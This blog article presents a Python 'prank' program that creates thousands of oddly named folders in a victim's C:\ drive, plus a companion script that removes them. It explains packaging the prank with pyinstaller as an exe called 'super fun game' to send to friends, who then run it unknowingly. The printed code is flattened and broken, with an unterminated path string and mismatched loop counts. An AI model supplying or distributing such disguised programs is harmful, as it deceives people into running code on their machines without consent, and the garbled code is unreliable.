Python|Spoof C drive

**Welcome to click "The Beauty of Algorithms and Programming" ↑ Follow us! **

**This article was first published on the WeChat public account: "The Beauty of Algorithms and Programming". Welcome to follow and learn more about this series of articles in time. **

**Welcome to join the team circle! Face to face with the author! Click directly! **

1 Foreword

In daily life, in order to add fun to ordinary life, I often make jokes with my friends. In addition to the jokes in reality, for those who learn programs, there are naturally online jokes, so today I will share with you a spoof small program written in python. Everyone knows that if the computer C drive takes up too much space, the computer will get stuck, so this time I chose to spoof the C drive. (Declaration: This article is only for learning reference, and must not be used for other purposes.)

2 ready

This spoof small program is written in python language. In addition to several built-in modules, there is also a module for packaging py files - pyinstaller. The installation method is: enter the following command on the command line:

pip install pyinstaller

After the required modules are prepared, they can be directly imported and used.

3 Create code

import os,sys,random#Import module def spoofCeate(): textList = ['Haha','Fucked','Is it interesting','Can you finish deleting?','Let's give up','I'm so funny ','Hahahahaha','Don't delete randomly','Be careful not to delete your own folder']#The name of the generated file path ='C:\'#C drive path for i in range (65,91): for o in range(100): text = random.choice(textList) fileName = path+chr(i)+str(o)+text #Using 26 uppercase letters and numbers from 0-100, Randomly generated text to name if not os.path.exists(fileName): os.mkdir(fileName) for i in range(97,122): for o in range(100): text = random.choice(textList) fileName = path +chr(i)+str(o)+text #Using 26 lowercase letters and 0-100 numbers, randomly generated text to name if not os.path.exists(fileName): os.mkdir(fileName)spoofCeate( )

After running these codes, many folders will be created in the C drive of the running computer. The names of the folders are 26 large and small letters + numbers from 0-100 + randomly selected text. It requires you to send this code to a friend, and if he runs it, he will create (24+24)*100 folders in the C drive unconsciously. When he finds it out, he doesn’t know if it is You did it, so it's exciting to think about it.

Figure 3.1 Running effect

4****Delete code

Because friendship comes first, so in order to prevent the friendship boat from overturning, the editor wrote a program to delete all the folders created. code show as below:

import os,sys#Import module def spoofDelete(): textList = ['Haha','Fucked','Is it interesting?','Can you finish deleting?','Let's give up','I am laughing to death', 'Hahahahaha','Don't delete randomly','Be careful not to delete your own folder'] #The name of the folder path ='C:\' #C drive path for i in os.listdir (path): pathNow = os.path.join(path,i) for o in textList: if o in i: print(pathNow) os.rmdir(pathNow) #Delete the folder containing the given keyword breakspoofDelete()

5****Packager

Because many friends do not have a python environment on their computers, they sent the code to him, and he couldn't run it, so the editor used the python third-party library pyinstaller to package the code. Since only the pure code files need to be packaged this time, just use the following commands directly.

pyinstaller -F super fun game.pypyinsatller -F restore.py

For specific and detailed packaging methods, please see two articles dedicated to pyinstaller in the editor of this public account:

"The Basics of Python File Packaging War",

"Python file packaging actual combat advanced chapter".

After finally packaging it into an exe file, you can send it directly to your friends.

Recommended Posts

Python|Spoof C drive